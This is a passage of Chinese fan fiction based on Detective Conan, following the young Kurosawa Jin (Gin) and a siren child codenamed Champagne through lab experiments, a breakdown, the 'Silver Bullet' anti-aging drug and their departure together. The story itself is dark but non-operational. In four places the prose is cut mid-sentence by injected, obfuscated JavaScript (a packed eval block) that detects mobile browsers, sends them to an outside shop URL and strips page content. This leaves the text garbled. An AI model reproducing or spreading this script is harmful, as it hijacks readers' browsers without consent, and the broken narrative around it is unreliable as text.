虚弱的身体终于经不住折腾,香槟合上眼睛昏睡过去,任由深邃的梦魇将自己的意识吞没,争分夺秒地开始通过睡眠安抚自己过劳的身体。 一会还有一场硬仗的打,要赶快恢复精力才行。 * 敢硬闯实验室的后果就是进了禁闭室。 黑泽阵对自己的一切想法行动和盘托出,不知道的部分就大方承认,有风险的部分就推给金酒,坦荡地仿佛在完成一次出色的任务报告。 少年的配合程度简直出乎所有人想象,除了第一天在审讯室吃了点苦头之外,很快就被认定为“问无可问”,被打包丢进了禁闭室。 就是之前的伤算是白养了。 “进去吧。” 厚重的铁门在身后缓缓闭合,来自走廊的灯光越纤细,直到被门闸完全吞噬,发出一声沉闷的呻吟。 黑泽阵静静等着眼睛适应这片黑暗,努力竖起耳朵倾听门外的声音。 禁闭室实在很黑,即使是眼睛完全适应了昏暗的环境,也很难辨别室内的布局,不过好在黑泽阵在进来的那一瞬间就已经记下了: 目测有五平米大小,墙角有一张硬板床,上面堆着一坨……不知道什么东西,让黑泽阵立马决定今晚和衣就寝。 不是事多,在外面做任务的时候什么困难也都克服了,主要是担心伤口感染。 再往旁边是一个简陋的洗手台,黑泽阵拧开水龙头,确保水源是正常供给且干净的,只是没办法淋浴。 黑泽阵撕开自己的内衬,用清水沾湿,简单清洁了一下伤口,确保自己至少不会死于伤口感染后,把那一堆不知道什么东西丢下床,裹着风衣,开始思考自己的处境。 禁闭室是个很尴尬的地方。 组织是利益的集合,而非展现社会关怀的福利机构,所以要是内部的成员犯了错,一般会采取做任务的形式将功补过,又或者被认定为“无法继续创造价值”,领一颗子弹直接送去焚尸炉。 而不是被关在小盒子里面浪费时间。 黑泽阵先前打开了水龙头之后没有拧紧,留了一条小缝,数着自己的心跳做对比,用来计量时间。 禁闭室的大门隔音很好,关门的那一瞬间就是像是按下了“静音键”,走廊上离去的脚步声没有半点办法挤进狭隘的门缝。 在这种无声无光的环境下,数自己的心跳显然不是一个明智的选择,在被剥离了最主要的“视觉”和“听觉”,最重要的是保证平常心。 少年先前把“枕头”一并踹下了床,现在只好枕着自己的帽子,裹着自己的风衣又是当床单又是当被子。 黑泽阵腿长手长,躺在床上有种“顶天立地”的憋屈感——头顶在床头的时候,鞋子正好踩在床脚——开始默默盘算着自己大概会在这里被关多久。 大概……三天? 减去在审讯室的部分就是两天。 香槟那边,或者金酒那边,三天足够有一个结果了。 不知道会不会有固定的食物供给,但是想来也不会充足,估计只会保证自己的最低食物供给,勉强饿不死的程度。 也有可能根本就没有食物来源,毕竟在水源充足的情况下,饿三天也不影响生命安全。 许久未进食的胃大概也意识到自己不妙的处境,满腹委屈地偃旗息鼓。 黑泽阵闭上眼睛,开始节省体力。 等吧。 * 香槟醒来的时候,周边已经换了环境:同样是惨白的装修风格,但是这间开了窗户,可以看见外面葱葱郁郁的绿化。 这是疗养室。 “有没有哪里难受?” 香槟盯着那双猩红的眼睛,不知道透过它具体在看谁。 干涩的喉咙像是忘记上润滑油的齿轮,艰难地挤出几声破碎的气声:“……阿阵呢?” “你先好好休……” “阿阵呢?” 话毕,香槟顿了一下,像是暴风雨前的宁静,厚重的云层中酝酿着什么不得了的东西,下一瞬间,眼泪炸了出来,开始像真正这么大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023458|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的孩子那样哭嚎: “我要阿阵……” 就像是台风雨袭击村庄,之前自欺欺人的粉饰太平终于在残酷的现实面前不堪一击,被碾的稀碎。 干涩的嗓子很快就劈了,开始发不出声音。 很快剧烈的情绪反应就导致香槟开始控制不住的干呕,眼前大片大片的开始发黑,即使是这样香槟也不愿意停下来休息一下,反而在这种时候展现出了塞壬这个种族常人难以理解的执拗。 好像在组织里面长久积压的情绪在这个节点全都爆发了出来:失去父母、人体实验、精神虐待…… 任何一个理由都足够将一个成年人摧毁,成为在命运面前摇尾乞怜、奴颜婢膝的娼妓,现在香槟在鬼门关走过一遭之后,好像也终于被冲破了阈值,情绪崩溃了。 刚刚才从死神手里抢回一条命的身体,哪里经得起这么折腾? 香槟很快就脱力昏厥了过去。 不再哭闹总是好的,房间里面的其他人都不约而同地默默在心里松了一口气。 ——很快他们就发现,这口气松的太早了。 香槟第二次清醒是在两个小时之后。 小孩睁开迷蒙的眼睛,怔怔地躺在床面上,等过了一会终于反应过来自己的处境之后,又开始第二轮折腾。 总这么哭也不是办法。 “……镇定剂呢?” 香槟像是被通了马蜂窝,对“打针”这件事过敏,顿时哭得更崩溃了。 有了前一次的铺垫,现在又新增了气短的症状,很快在剧烈的哭嚎下更快的哭昏了过去。 这次在昏迷中也不让人省心了,很快就开始发烧,体温在大家肉眼可见的速度下攀升,很快就突破了39大关。 不知道是谁凑上前来,再次测量了体温:39.6℃。 这次没人敢让祂再睡了。 香槟被高温灼醒,情况很不妙,高烧不退,面色潮红,勉强睁开的眼睛在高温的作用下,看起来很像玻璃。 大片大片的色块糊在眼前,干涸的喉咙连喘息都是难事,像是搁浅在岸上,被阳光曝晒的鱼。 “体温降不下去,”女声透漏出几分焦虑,时远时近,听不真切,“再这样下去估计会对身体造成不可逆的影响。” 治愈术也不是万能的。 男人上前两步,伸手探了探祂滚烫的额头:“疼不疼?有没有哪里难受?” 香槟这个时候已经几乎失声了,但是主旨还没忘,颤抖的唇瓣吐出一点微弱的口型,微弱到几乎没有办法确认。 但是在场的所有人都听祂哭了这么多次,哪还有分辨不出来的道理? ——我要阿阵。 “……我是谁?” 小孩还没烧到不认人的地步,动动嘴唇,吐出几个低不可闻音节:“阿莲。” 紧接着滚烫的眼泪就顺着眼角滚了下来,到嘴边的抱怨也一起被带了出来。 “为什么你对我没有之前好了?” 都不像是阿莲了。 男人像是被眼泪烫到,良久,长叹一口气: “……把黑泽阵弄过来。” 53.二分之一法兰西75 黑泽阵到的时候,香槟正在努力扯着嗓子干嚎。 除了塞壬再没有第二种生物能发的出来的尖细嗓音,配上喉咙过度使用之后的嘶哑,不得不说是一种精神层面的酷刑。 少年上前两步,伸出手臂五指并拢,对着罪恶来源痛下黑手。 “哇——喔喔喔……” 鬼叫什么?难听死了! 香槟哭得脑子都混了,等反应过来的时候才意识到自己已经发出了某种难以言喻的声音,像是原始部落的野人,在狩猎的时候顶着设计感十足的帽子,一手持长枪一手拍自己的嘴巴,“喔喔喔”的乱叫。 ……阿阵,好过分。 作为报复,香槟死死搂住黑泽阵的脖子,整个挂在他身上,把眼泪擦在他的领子上,一边做讨人厌的事,一边还不忘说讨人厌的话: “你好脏哦。” 脏也没妨碍你蹭。 其实还好,虽然黑泽阵先前在审讯室里面待了一天,又在禁闭室里面待了一天,但一直有注意清洁伤口,香槟说的“脏”是他身上洗不干净的血腥味。 明明刚刚才给他治好的。 香槟现在已经很虚弱了:一方面差点致死的实验还没恢复,另一方面接连不断的高强度情绪输出也导致祂体力的透支,很快就挂不住自己体重,眼见着身体往下滑去。 黑泽阵顺势伸手托住祂的重量,往上提了提:“……现在要哄祂休息吗?” 这个时候应该不至于再安排什么“配合实验”了。 得到首肯的黑泽阵一手托着香槟,另一只手轻轻顺祂的背,很快香槟的呼吸就变得轻浅又平稳,被塞回到厚重的被子里。 徒然变换姿势的小孩皱眉,很快就在被子下缩成一小团,但好在是没有醒。 ——哄睡一个精疲力竭,情绪波动剧烈又归于稳定的小孩很容易。 至少对黑泽阵是这样。 少年给祂掖好被角,在白大褂的眼神示意下,跟在一直等在旁边一言不发的男人身后,一起绕去了隔壁办公室。 * “初步认定是分离焦虑。” 野格,或者说是宫野厚司,端起桌角的苦咖啡,猛地灌下了一大口,打算借此熬过整个夜晚:“也许还有部分的‘雏鸟情节’。” 香槟现在的身体状态,根本离不开人照料,所以科研组特意安排了轮班,一天24小时随时监测。 另外的一部分人也没在闲着,现在正在另外的实验室由利口酒带着加班加点,紧锣密鼓的处理着香槟身上采集到的各种样本和数据。 “你之前有没有说过什么类似于‘抛弃’这种相似意思的话,比如不听话就不要你了,没人关心你,走了就再也不回来这种话?” 黑泽阵回想一下,实话实说:“说过,经常说——事实上是见面的每天都说。” “香槟什么反应?” “没什么特殊反应,和之前没说这种话的时候表现一样,都是像影子一样跟着。” “之前有表现出来相关的症状吗?” “比如说对和你分开这件事表现出过度的恐惧和焦虑,出现刻板行为例如咬指甲、拔羽毛/头发/鳞片,再见面的时候表现出过度的热情?” “没……有过一次,”黑泽阵很快想起来,是在出水族馆任务之前刚发生过的事情,“祂做了点很过分的事情,我说不要祂了,当时出现了拔羽毛、过度关注、编头发和很明显的焦虑情绪——大概……” 训练营弄死神谷——水族馆执行任务——实验室被做实验。 黑泽阵惊觉,香槟的焦虑情绪一直到现在都没有被处理,甚至反而在实验危急生命的前提下,更加被催化了。 所以旧疾加新伤,这次的反应才会那么严重。 “也就只有两个月的事情。” 宫野厚司知道,最近这一个月香槟都在实验室里寸步不离。 ……看来大差不差。 “香槟本身是很冷淡的性格——这是生理水平决定的。” 宫野厚司吞下一口浓苦的咖啡液,霸道的味道瞬间侵蚀了他的味蕾,一直苦到舌根,带来几分掺着咖啡的苦涩与醇香的清醒。 “人类的脑是目前各界实验都公认的,最发达最复杂的器官,没有之一。” “不论是从平均智力水平,基因稳定性,社会功能,养育方式,情绪……等等各方各面,人类之所以能站在食物链的最顶端,是有生理基础在支撑的。” “而香槟分管‘情绪’部分的脑区,包括边缘系统,和同龄健康人类儿童的脑部CT图做对比,都有明显的简化和低迷。” “根据目前的观察结果来看,祂只能产生‘喜怒哀惧’这一类简单情绪,对于愧疚、后悔、羞耻这一类感知极差——即使是前者,感觉阈限也明显高于人类。” 可惜就是现在组织的重点研究方向是在“攻破衰老,打破人类寿命极限”的方向,香槟只有一个,平时配合吃药身体都有些负担不过来,不然估计在脑科学研究方面应该也很有研究价值。 “虽然看起来祂的表情和一般人类无异,甚至泪腺也很发达,但事实上对于祂来说,‘表现出伤心’和‘实际感受到伤心’是两个完全不同的概念……” “所以你想说什么?” 黑泽阵已经开始对男人的长篇大论,喋喋不休而感到不耐烦了。 和我说这些想干什么?想要我可怜祂吗? 且不说这种多余的情感究竟是不是闲的,多做点任务就老实了——香槟不是亲口讲过,自己最讨厌被可怜了。 “我的意思是,别被香槟骗了,祂就是个没有人性,披着人皮的怪物。” 谁知道祂对黑泽阵这么热忱,究竟是真情还是假意? 宫野厚司倾向于是后者。 这点没有谁比差点家破人亡的宫野厚司更有话语权了:不论是妻子在病床上憔悴的病容,还是女儿肩膀上刺目的伤口,都在一次次地提醒着他曾经差点就失去了自己最爱的家人。 出于一点同病相怜的怜悯心,宫野厚司认为自己有义务提醒一下这个被香槟盯上的可怜的孩子,以防他少不更事被塞壬蒙骗,再走了宫野家的老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一部分从来没有真正属于过他,就像是外出执行任务时候的配枪,在他手里捂热之后,被使用完之后,就要在严格的搜查下被回收。 另一部分即使短暂的拥有过了之后,也会很快的失去,就像是在水族馆检票口,被摁下规整的圆形的孔洞,现在早被销毁不知所踪。 这其中只有“香槟”是唯一属于自己,且失而复得的异类。 组织的“香槟”不属于组织,就像是笼中的囚鸟不属于笼子。 但这不意味着祂就与任何人都毫无联系——香槟是黑泽阵的手养鸟。 他意识到了这一点,在香槟托着伤痕累累的尾巴,抱着滚烫的枪扑在自己怀里的时候。 像是凭风而起的风筝,即使飞出一百米、五百米、八百米……纤细坚韧几乎透明的风筝线被攥在自己手里,所以祂总会回到自己手心。 少年敞开被子,将浑身冰冷的塞壬裹进温暖的被窝,然后感受到某个装睡的家伙伸出指尖勾了勾他的手心。 ……我的。 54.二分之一法兰西75 尽管是有周围所有人尽心尽力的照料,香槟的身体还是每况愈下。 清醒的时间越来越短,沉睡的时候呼吸几不可闻,即使是躺在身边的人都要静下心来细细分辨,才能分清楚尸体和活物的分别。醒来的时候也没什么精神,被包裹在惨白的被子和惨白的枕头间,很沉默的,一动不动,顶着惨白的一张脸,仰头观察着头顶惨白的天花板,不知道在想什么。 又或者是什么都没想。 祂开始变得总是很疲倦,再也挤不出一分一毫的心力和脾气,分给周围的人或事, 像是被困在画框里的白玫瑰,被画笔和颜料精心描绘点缀,被虚妄地赋予了不朽和盛开的幻梦,实际上早在腐烂在了某个不为人知的角落。 只有黑泽阵在身边的时候,才会有一点安静的反应,浓密的睫毛颤抖着,像是老迈的鸟儿迎风展翅,期许着再一次的飞翔。 ……天花板有什么好看的? 截然相反的是,黑泽阵的身体恢复的很快,很快就在药物的帮助下行动自如,开始肩负起了一日三餐。 雪原的狼群总是恢复力惊人,这样才可以在残忍的竞争中活下去。 香槟食欲也以肉眼可见的速度下降,很快就失去了对食物的兴趣,只有黑泽阵在身边的时候,才会被哄得吃两口,但也只是吃两口意思意思而已。 祂要死了。 日本和地中海的环境天差地别,根本不适合塞壬生存——实验室不适合任何一种生物生存。 ……总感觉脸色又白了几分。 黑泽阵硬闯实验室的处理结果,是找到了某个研究员在进行注射的时候“不小心”弄多了剂量,没等查到自己头上就“自杀”了。 BOSS对这事雷霆震怒,威士忌借这个机会抓出来不少老鼠,剩下的不论是好是坏都吓得大气不敢出,倒是消停了一段时间。 后来听好不容易从墨西哥活着回来的金酒转述,高层为这件事咬成一团,因为抓不到证据,于是所有可能的事件相关人都没讨到好处,朗姆和利口酒首当其中。 研究组的经费被一卡再卡,每一项实验步骤都要被严格审核,所有研究员尤其是能接触到利口酒夫妇的都被专人严加看管,作为香槟在利口酒眼皮子底下出了差错的后果。 少年将自己打理整齐,通过一道道繁琐的核查,离开了M7研究所,循着当时的记忆,去找那家路过的玩具店。 黑泽阵自己不喜欢这种哄小孩开心,骗家长钱财的东西,但是香槟估计喜欢——祂本来就是小鬼嘛。 而且其实香槟是毛绒,这是祂自己也许都没有发现的秘密。 在黑泽阵洗完头坐在沙发上,吹干自己的头发的时候,就会有一双鬼鬼祟祟的手,偷偷去摸他的头发。 研究组最近的环境很紧张,黑泽阵隐隐约约感觉到些许不知从何说起的,压抑又期待的氛围。 前者来源于香槟和紧张的核查,但是后者实在不知道是为什么。 “期待”什么呢? * M7实验室今天又迎来了一位翘首以盼的“客人”,好莱坞大满贯女星,莎朗·温雅德。 这个媒体竞相吹捧是“上帝吻过的魔女”,此刻将自己裹得严严实实,一寸肌肤也不露,正在接受研究员的身体检查。 明明已经将近五十岁,现在却顶着一张看起来不过二十岁,娇艳似玫瑰的脸庞,让人不禁感叹造物主的智慧和偏爱。 谁能想象的到呢? 一个星期前的莎朗·温雅德,正顶着自己那张尽显老态的脸,企图对镜抹平眼角的褶皱。 欧美人的花期热烈却极其短暂,即使是莎朗也没有办法避免,工作、酒局、派对……分不清楚哪个是夺走青春的罪魁祸首。 也许都是。 几条皱纹当然不会影响影后的演艺生涯,她依然可以被所有的镁光灯聚焦,吸引所有人的瞩目——然后让他们发现自己这张老态龙钟的脸。 好莱坞从来不缺新鲜又漂亮的脸蛋,鲜艳的红玫瑰开了又败,没有谁能逃得过时间的剪刀。 一想到自己的未来都是要顶着一张老脸,莎朗·温亚德就感觉前途一片灰暗。 终于到一周之前,这个组织的成员秘密联系到自己,声称是研究出了一种“返老还童,青春永驻”的药物,已经在动物和活人身上成功实验。 白鸠制药厂。 她听说过这个企业的名字:在日本由乌丸财团一手把控,凭借制药起家,成就了如今的乌丸财团,近些年开始着手研究“青春”。 这可是件好买卖,莎朗·温亚德如是想到。 只要打开了潘多拉的魔盒,原本是竞争对手也好,合作伙伴也罢,都会想是面见了绝世佳人潘多拉一样,拜倒在美女的石榴裙下。 ——那些个有钱有权的老东西,有几个能拒绝的了“青春”的诱惑? 就连她自己都没有办法拒绝在那份严苛的合同上签字,即使是知道潘多拉的魔盒意味着什么。 四十多岁的美人依然风情万种,吐出一口烟圈:“啊啦~这种好东西,怎么能轮得到我呢?” 不是她妄自菲薄,但这种药物想也知道,肯定是会被炒上天价,由最有钱的那一批“金字塔尖”优先使用,而不是轮到她。 ——影后看起来光鲜亮丽,有颜有钱不假,和那些真正蛰伏在权力最顶端的老东西相比,和一只逗乐的虫子也没什么分别。 “怎么会?”男人学着她的成名作里面情人的台词,“Do you believe in heaven(你相信有天堂吗)?” “这种药物,即使现在因为制作难度的缘故,没有办法实现量产,但是我们的理念绝非制造出仅供‘富人’享乐的特权产物——而是为了解放全人类。” “‘银色子弹’终究是要走向全世界的。” “想想看吧,一旦解决了‘衰老’的弊病,那么一系列由细胞老去所导致的并发症:阿尔茨海默症、癌症、糖尿病……甚至是由人口老化所导致的社会问题,都将迎刃而解。” “请相信,这并非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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隔着一层玻璃,芝华士在手术室外解释道:“我们‘利口酒’大人的研究成果,就像是‘银色的弹丸’一样,驱魔伏恶,彻底革除衰老的弊病,所以因此得名于‘银色子弹’。” “不过准确的说法,是处理过后的造血干细胞。” “返老还童”的痛苦整整持续了48小时,在这期间毛发、皮肤、血肉、骨骼除了记忆之外,全都实现了逆向生长,长达三十年的生长过程在两天之内被逆转,从此之后大满贯影后,莎朗·温雅德宣布息影,其女克莉丝·温雅德宣布进军好莱坞。 “……就像是打开了【潘多拉的魔盒】。” 芝华士被这个古怪的形容逗笑了:“祂确实是位难得的美人。” 传说中的海妖塞壬,确实是拥有着人类审美巅峰的美貌和喉咙——不过在组织里面,祂可以不用出卖自己的性价值,转而为更伟大的事业献身。 “不过在那之前,为了您的健康,我们需要对您的身体状况进行一个星期的集中检查。” 55.二分之一法兰西75 黑泽阵回来的时候,整个实验室弥漫着一种诡异的、欢庆的氛围,有种说不清的怪诞感。 “……怎么回事?” 总感觉自己错过的时间里,发生了什么了不得的大事。 “成功了哦。” 香槟兴致缺缺地回答,平淡到仿佛是在转述别人的故事:“组织从诞生之初就在一直探索着的,传说中可以‘长生不老,青春永驻,像驱邪的银色子弹一样战胜衰老’的药物,银色子弹。” 利口酒夫妇确实是这个时代最顶尖的天才,即使是放在时间的长河里,耀眼的智慧光辉都不会被周遭璀璨的星河埋没: 通过接种塞壬的造血干细胞,产生足够刺激机体逆生长为成年早期的逆生长因子,顺着血管流遍全身,在短短两天的时间里,就可以完成将近三十年的生理复苏,并且不会再次衰老。 人类当然没可能随便接种其他生物的血液,于是之前的那一支香槟叫不出名字来的药物,更改了祂自身血细胞、主要是红细胞的细胞膜蛋白,使其不会被人类的机体免疫细胞识别并杀死,进而抑制排异反应,使得跨物种的骨髓移植成为可能。 与之相对的,现在香槟自己的血细胞会被自己的免疫系统识别为“外来抗原”了。 ……人造的溶血性贫血症。 用“科学”来解释“魔法”,这是连出生在巫师家族,见惯了各种光怪陆离的香槟都觉得匪夷所思的事情。 太伟大了。 香槟如是想到。 如果我不是这个实验的“第一受害人”的话,我一定会帮他们申请“诺贝尔生理学奖”的。 “银色子弹”顺利诞生,标志着人类真正在科学意义上战胜了“衰老”的同时,也可以和“香槟之死”画上等号。 即使是隔着厚重的眼镜和麻木的口罩,来来往往的研究员们脸上都是抑制不住的欢庆和喜悦——这意味着从那一刻起,香槟作为有思想有智力可以独立思考的人的主体性被抹杀掉了,退化而成了一味稀缺而珍贵的药材。 组织的香槟没能死在实验台上,而是死在了一张来自于受试者“各项身体指标正常”的体检报告。 从这一刻开始,“香槟”才是真正意义上的死去了,不是简单的□□上的消亡,而是在精神层面被完全地抹杀掉了。 ——他们在欢快地庆祝着我的葬礼,就像是“香槟”这个滑稽的名字。 自己接下来的未来几乎一眼就可以看到底: 在塞壬早就灭绝了,造血干细胞无法实现量产的情况下,头等要务就是在保证稀缺的同时,尽可能多的保证“药物”的供应。 克隆,人工繁衍,又或者是其他香槟也想不到的天才发明。 从“银色子弹”诞生的那一刻开始,人类不再按照生理特征分为“男女”两个性别,而是重新按照拥有资产的多少尽心划分: 不过短短百年时光的穷人,和垄断了财富和时间的富人,“青春”和“长寿”成为了只有富人才配享用的奢侈品。 而因为“银色子弹”的稀缺性,这种财富的差距会被进一步放大——每取消一个人上桌的资格,“上等人”可以多一份享受“蛋糕”的把握。 香槟侧着耳朵听着外面来来往往雀跃的脚步声,就是想在听死神降临的脚步。 就像是希腊神话中,被好奇心驱使着的愚人打开了潘多拉的魔盒,灾厄、欲/望、疾病……挤在最上面,喷涌而出;而“希望”和“幸福”被甩在最后,被及时反应过来补救的双手关回盒子里。 于是人间多有苦难,而少有幸福和希望。 ——我完蛋了,人类社会也完蛋了。 好在塞壬足够长寿,可以活着用自己的眼睛见证这一幕的发生: 故事的最后,勇者用剑杀死了守着代表“灾厄”的恶龙,拯救了所剩无几的幸存者,于是人类假装什么都没有发生过一样,一代代努力生活着,直到真正骗过了自己,潘多拉再一次降临人间。 悲剧周而复始,人类永远也学不会在贪婪面前吸取教训。 黑泽阵知道香槟之前一直在看天花板,看的是什么了: 像棺材,棺材板。 把一个拥有同等智慧,可以与人类平等交流的生物,赋予“胜利之酒”这样几乎等同于“战利品”的名字…… 黑泽阵不知道说什么好了。 他不知道香槟现在心里正在想什么神经病的东西,甚至还排了一个完整又老套的弱智话剧,给自己安排了个大BOSS的身份。 要是知道的话,一定会骂香槟脑子有病——虽然黑泽阵一直都感觉香槟精神有点不太正常。 他把刚刚买到手的泰迪小熊塞进香槟的被子里,一起盖上被子,突然感觉这像是一件殉葬品。 灰扑扑的卷毛,森绿色的纽扣眼睛,还有古怪的“T”型嘴巴,凶巴巴的一点都不可爱。 去的实在有些晚了,同批可爱的小熊早就被挑剔的小孩们抢了个精光,只留下这一只被孤零零的丢在橱窗的角落里,眼见着自己的“同批竞品”被一双双迫不及待的手抱走,一次次证明自己是个不受欢迎的劣质品。 但是香槟不知道这一点。 也许祂知道,只是不在乎,又或者是觉得没必要说。 小孩努力侧过了身子,用手臂环住几乎等身的小熊的脖子,脸埋在柔软的绒布里,嗅嗅。 ……有股消毒剂的味道。 “新的?” “新的。” “我的?” “你的。” 那还可以。 香槟不再讲话,也不嫌弃它难闻了,保持着侧躺的姿势,静静地用背朝着黑泽阵。 他突然产生了一种非常冷静的冲动。 “我们走吧?” 有事情一旦开了头就会变得很容易。 黑泽阵默默在心里盘算着自己能有多少可支配财产: 在组织做任务攒下来了一点钱,之前父母留下来的东西,反正人都不在也没人用了,可以和房子一起卖掉,换一个隐蔽一点的,在郊区小一点的房子。 经济来源的话,这次的表现应该够他获得在外独自接取任务的资格…… 不是说要离开组织,但是组织不只是在这一处有实验室,换一个分部,他照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086339|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样可以做任务,也不影响香槟接受专业的护理。 侧躺着的塞壬没有动作,但是黑泽阵优越的视力清晰的捕捉到,祂的耳羽在听到这句话的时候颤动了一下: “……去哪里?” 且不说祂现在的身体状况根本不允许。 去哪里又有什么区别呢? 从“银弹计划”成功的那一刻开始,没有足够与这个世界上所有觊觎“长生”的眼睛抗衡的力量,香槟就已经失去了保存思想,发出声音的资格。 ——去哪里都一样的。 “去我……家,在莫斯科——组织在那里也有分部。” 黑泽阵说不清楚从组织的一个实验室,转移到组织的另一个实验室的意义在哪。 莫斯科甚至还更冷了,塞壬明明是温带浅海物种。 但是好在香槟也没再问:“你还有家啊?你家里让你干这个?” 黑泽阵不是组织二代(就算是父母没能获得代号,二代也没可能沦落到训练营去),但是这个年纪就进组织当杀手,监护人已经不是 没家难道是从树上结的? 黑泽阵在心里默默腹诽祂脑子有病:“我爸妈死了。” “那我们吃什么?” 西伯利亚的西北风肯定是足的。 少年即有压迫感的三白眼撇了祂一眼,冷声呛祂:“饿不死你。” 出去的话黑泽阵叫“黑泽阵”当然没什么,难道香槟叫“香槟”吗? 从这个时候开始,他开始对顶着“香槟”这个代号的孩子,产生了一点多余的探索欲。不是自己的任务对象,需要贴标签的仔细斟酌的“麻烦”,而是一个有自己想法的活物。 “……你本名叫什么?” 香槟闷闷地声音从小熊的身体里传出来:“告诉你的话,阿莲会生气的,然后就会把某个‘胆敢逾界的臭小鬼’给处理掉:砰砰!” 那是只有他自己可以叫的名字。 黑泽阵对这种事情没所谓:“那我给你起一个——飞鸟彻羽。” ……好敷衍,这和养了一只萨摩耶叫“白狗”有什么区别? 飞鸟彻羽对这种“随便取名”的态度在心里默默谴责,努力转过身来,抱着自己的新玩具,从小熊被棉花填充的鼓鼓囊囊脑袋后面探出一双眼睛:“……你知道不可以随便给妖精取名字的吧?海妖塞壬也算哦?” 能怎么样呢? 黑泽阵睨那双天塌下来都能淡定点根烟的眼睛,半点也不迟疑的盯着塞壬的眼睛看。 就像是被夏日正午阳光曝晒的地中海面,表面上瑰丽的叫人移不开眼,可是大海终究是大海,表面上美艳绮丽,海面下依然暗流涌动,时刻准备着将无知的擅闯者搅得粉碎,然后被巨大的水压撵得粉身碎骨。 但是南欧太远了,来自西伯利亚的寒风吹不到塞壬的爱琴海。 少年的脸上扯出一个狞笑,像是在寒风中对着猎物龇牙的狼:“能怎么样?你咒死我?” 杀手都做了,还怕报应? “……那好吧,”飞鸟彻羽瘪瘪嘴,应下了这个玩笑一样的名字,“我会跟阿莲讲的。” 56.囚鸟 没人对“换病房”这一要求提什么反对意见,只是利口酒细细叮嘱了一系列的注意事项:“一周要打一次这个药,每半个月要去实验室检查一次身体,注意饮食规律和作息规律,辛辣的食物……” 离开了组织药物的香槟连最基本的站立都没有办法做到,祂自己也该知道某些事情想做是一回事,能不能做成就是另一回事,即使是有人想要摘下组织的研究成果,也要在心里掂量掂量,摘下来之后究竟能不能保存得住。 黑泽阵一一记下,目送着在研究室里一言九鼎的女人转身离去,甩下一个干练的后脑勺。 同意了香槟的要求之后,所有“银色子弹计划”相关的研究人员也都要跟随祂转移到M7实验室,毫无疑问是一场兴师动众的大工程,又完全是一拍脑袋就做出的决定,这让很多不得不临时做出重大调整的研究员颇有怨言。 但考虑组织的方便当然不在飞鸟彻羽的考虑范围之内,彼时麻烦的源头正趴在黑泽阵的背上,顶着略大一些的黑礼帽,开心地被黑泽阵背着,晃小腿。 事实证明,飞鸟彻羽对能给组织造成麻烦这件事感到表里如一的开心。 于是离开了,在两个人生病都应该挂儿科的年纪。 没有行李,这里的一切都不会被允许带走,一张储存了黑泽阵全部任务所得的银行卡就是全部。 走的时候是深夜,乌云遮蔽了月色,瓢泼大雨倾盆而下,劈头盖脸地砸在伞面上,砸在路面上的积水里,把路灯的影子砸的细碎,走在石板路上的时候,就像是天空和大地颠倒了过来,人在星河上走。 黑泽阵一手攥着新买回来的那只玩具熊,一手撑着伞,听着某只嘴碎的鸟在耳边嘀嘀咕咕,偶尔回应两句。 “我们好像流浪狗哦。” 飞鸟彻羽一手扶住帽子,一手环住黑泽阵的脖子,偷偷摸他的头发,张口就是不中听的胡话:“真的很像欸:两条,一只灰的一只白的,没有家可以回,被踢来踢去,勉强找个地方容身的狗狗,好可怜哦——才不是嘞,只有阿阵像,我可贵了。” 是啊,大家都抢着吸你的血,这么一想还是流浪比较好。 黑泽阵大方承认:“像阴沟里勉强苟活的老鼠。” 下雨天无家可归,即使是为了活命鼓起勇气爬出井盖,也要被路过的行人追打谩骂,见不得人的东西。 “老鼠也还好吧……就是实在好丑,”飞鸟彻羽用额头胡乱地蹭黑泽阵的后脑勺,把黑泽阵柔顺的银发弄的凌乱才心满意足,“两只在一起流浪的话,就算是有家啦?” 小讨厌鬼对“当丑老鼠”这件事有点介怀,企图和黑泽阵商量:“……就算是当老鼠的话,我也要当老鼠大王——我是老鼠皇帝!” 黑泽阵没想明白和他争论这个的意义在哪,遂很干脆地点头同意了。 “封你当我的狗腿子。” “不用,”黑泽阵很是“谦虚”的拒绝了“封赏”,“我想当人,你自己当老鼠吧。” 飞鸟彻羽现在就趴在他的背上,怎么感觉不出来他因为正在闷笑导致的胸腔颤抖? 黑泽阵,讨厌! 做了好久的心理建设,好不容易才心不甘情不愿说服自己当丑老鼠的飞鸟彻羽感觉自己被背刺了,决定单方面和他冷战一个月! 但是阿阵这么讨厌,我不说话的话,那不就更没人跟他说话啦? 这么一想好可怜哦~还是缩减到一天吧。 